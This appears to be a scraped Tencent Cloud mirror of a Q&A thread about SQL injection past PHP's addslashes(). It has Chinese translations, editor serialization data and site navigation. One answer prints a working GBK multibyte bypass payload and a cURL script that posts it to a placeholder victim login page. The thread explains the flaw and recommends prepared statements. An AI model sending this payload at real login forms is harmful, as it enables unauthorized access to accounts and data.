blocks|key|1343102|text|作为对这里答案的读者的补充:这个MySQL错误已经被修复：)|type|unstyled|depth|inlineStyleRanges|entityRanges|data|1343103|此外，使用准备好的语句始终是一种良好的实践。这是您可以触发查询的最无漏洞的方法(在一些用例中，性能最好)。这样你就不会有这个缺陷了。|1343104|entityMap^0|0|0^^$0|@$1|2|3|4|5|6|7|F|8|@]|9|@]|A|$]]|$1|B|3|C|5|6|7|G|8|@]|9|@]|A|$]]|$1|D|3|-4|5|6|7|H|8|@]|9|@]|A|$]]]|E|$]]

As an addition for the readers of the answers here: This MySQL bug has already been fixed:)

Also, it is always good practice to use prepared statements. It is the most exploit-free way you can fire queries (and, in several use cases the most performant). And it would have saved you from this flaw.

blocks|key|1343189|text|Chris+Shiflett用下面的例子清楚地解释了，如果你在数据库中使用GBK编码时尝试一下，那当然会起作用。即使我尝试过，这也证明了，sql注入的机会是存在的，尽管机会很少，但有良好知识和能力的人可以很容易地注入。这里有一个例子..。|type|unstyled|depth|inlineStyleRanges|entityRanges|offset|length|data|1343190|<?php+

+++++++$mysql+=+array();
+++++++$db+=+mysqli_init();
+++++++$db->real_connect('localhost',+'myuser',+'mypass',+'mydb');

+++++++/*+SQL+Injection+Example+*/

+++++++$_POST['username']+=+chr(0xbf)+.+chr(0x27)+.+'+OR+username+=+username+/*';
+++++++$_POST['password']+=+'guess';

+++++++$mysql['username']+=+addslashes($_POST['username']);
+++++++$mysql['password']+=+addslashes($_POST['password']);

+++++++$sql+=+"SELECT+*+FROM+++users
+++++++++++++++WHERE+username+=+'{$mysql['username']}'
+++++++++++++++AND+password+=+'{$mysql['password']}'";

+++++++$result+=+$db->query($sql);

+++++++if+($result->num_rows)+{
++++++++++++++/*+Success+*/
+++++++}+else+{
++++++++++++++/*+Failure+*/
+++++++}

?>|code-block|syntax|javascript|1343191|虽然使用addslashes()或magic_quotes_gpc通常被认为是安全的，但是使用GBK会使它们变得几乎无用。下面的PHP+cURL脚本将能够利用注入，我希望这能帮助你更多的理解：|1343192|<?php

+++++++$url+++++=+"http://www.victimsite.com/login.php";
+++++++$ref+++++=+"http://www.victimsite.com/index.php";
+++++++$session+=+"PHPSESSID=abcdef01234567890abcdef01";

+++++++$ch++++++=+curl_init();

+++++++curl_setopt(+$ch,+CURLOPT_URL,++++++++++++$url+++++);
+++++++curl_setopt(+$ch,+CURLOPT_REFERER,++++++++$ref+++++);
+++++++curl_setopt(+$ch,+CURLOPT_RETURNTRANSFER,+TRUE+++++);
+++++++curl_setopt(+$ch,+CURLOPT_COOKIE,+++++++++$session+);
+++++++curl_setopt(+$ch,+CURLOPT_POST,+++++++++++TRUE+++++);
+++++++curl_setopt(+$ch,+CURLOPT_POSTFIELDS,+++++"username="+.+chr(0xbf)+.+chr(0x27)+.
+++++++++++++++++++++++++++++++++++++++++++++++++"OR+1=1/*&submit=1"+);

+++++++$data+=+curl_exec(+$ch+);

+++++++print(+$data+);
+++++++curl_close(+$ch+);
+?>|1343193|entityMap|0|LINK|mutability|MUTABLE|url|http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string^0|0|E|0|0|0|0|0^^$0|@$1|2|3|4|5|6|7|U|8|@]|9|@$A|V|B|W|1|X]]|C|$]]|$1|D|3|E|5|F|7|Y|8|@]|9|@]|C|$G|H]]|$1|I|3|J|5|6|7|Z|8|@]|9|@]|C|$]]|$1|K|3|L|5|F|7|10|8|@]|9|@]|C|$G|H]]|$1|M|3|-4|5|6|7|11|8|@]|9|@]|C|$]]]|N|$O|$5|P|Q|R|C|$S|T]]]]

<a href="http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string" rel="nofollow">Chris Shiflett</a> clearly explains with the bellow example, That will of-course work if you try it when using GBK encoding in your database. Even I tried it, this proves, there are chances for sql injection, even though they are very less, but someone with good knowledge and capability can easily inject. Here is an Example...

<pre><code>&lt;?php 

 $mysql = array();
 $db = mysqli_init();
 $db-&gt;real_connect('localhost', 'myuser', 'mypass', 'mydb');

 /* SQL Injection Example */

 $_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
 $_POST['password'] = 'guess';

 $mysql['username'] = addslashes($_POST['username']);
 $mysql['password'] = addslashes($_POST['password']);

 $sql = "SELECT * FROM users
 WHERE username = '{$mysql['username']}'
 AND password = '{$mysql['password']}'";

 $result = $db-&gt;query($sql);

 if ($result-&gt;num_rows) {
 /* Success */
 } else {
 /* Failure */
 }

?&gt;
</code></pre>

Although the use of addslashes() or magic_quotes_gpc would normally be considered as somewhat secure, the use of GBK would render them near useless. The following PHP cURL script would be able to make use of the injection, I hope this will help you a bit more to understand:

<pre><code>&lt;?php

 $url = "http://www.victimsite.com/login.php";
 $ref = "http://www.victimsite.com/index.php";
 $session = "PHPSESSID=abcdef01234567890abcdef01";

 $ch = curl_init();

 curl_setopt( $ch, CURLOPT_URL, $url );
 curl_setopt( $ch, CURLOPT_REFERER, $ref );
 curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE );
 curl_setopt( $ch, CURLOPT_COOKIE, $session );
 curl_setopt( $ch, CURLOPT_POST, TRUE );
 curl_setopt( $ch, CURLOPT_POSTFIELDS, "username=" . chr(0xbf) . chr(0x27) .
 "OR 1=1/*&amp;submit=1" );

 $data = curl_exec( $ch );

 print( $data );
 curl_close( $ch );
 ?&gt;
</code></pre>

In PHP, I know that <code>mysql_real_escape</code> is much safer than using <code>addslashes</code>.
However, I could not find an example of a situation where <code>addslashes</code> would let an SQL Injection happen.

Can anyone give some examples?

Examples of SQL Injections through addslashes()?

翻译质量差，导致语言生硬或混乱。

没有提供实际的解决方法或示例。

解答不清晰，无法理解或解决问题。

页面排版不美观，阅读体验差。

文章

问答

视频

学习中心

腾讯云实验室

直播

竞赛

腾讯云代码分析专区

腾讯iOA零信任安全管理系统专区

腾讯云架构师技术同盟交流圈

腾讯云数据库专区

腾讯云顾问专区

腾讯云原生专区

腾讯混元专区

腾讯云TCE专区

腾讯云Lighthouse专区

腾讯云HAI专区

腾讯云Edgeone专区

腾讯云存储专区

腾讯云智能专区

腾讯轻联专区 

腾讯云开发专区

TAPD专区

腾讯轻量云游戏服专区

腾讯云最具价值专家

腾讯云架构师技术同盟

腾讯云创作之星

腾讯云开发者先锋

腾讯云代码助手

云原生构建

TAPD 敏捷项目管理

Cloud Studio

SDK中心

API中心

命令行工具

涵盖代码开发、场景应用、自动测试全流程，助你从零构建专属AI助手

一站式MCP教程库，解锁AI应用新玩法

在PHP中，我知道mysql_real_escape比使用addslashes要安全得多。但是，我找不到addslashes允许发生SQL注入的情况的示例。谁能举几个例子？

问通过addslashes()进行SQL注入的示例？
EN

社区

活动

圈层

关于

腾讯云开发者

热门产品

热门推荐

更多推荐

问通过addslashes()进行SQL注入的示例？EN

社区

活动

圈层

关于

腾讯云开发者

热门产品

热门推荐

更多推荐

问通过addslashes()进行SQL注入的示例？
EN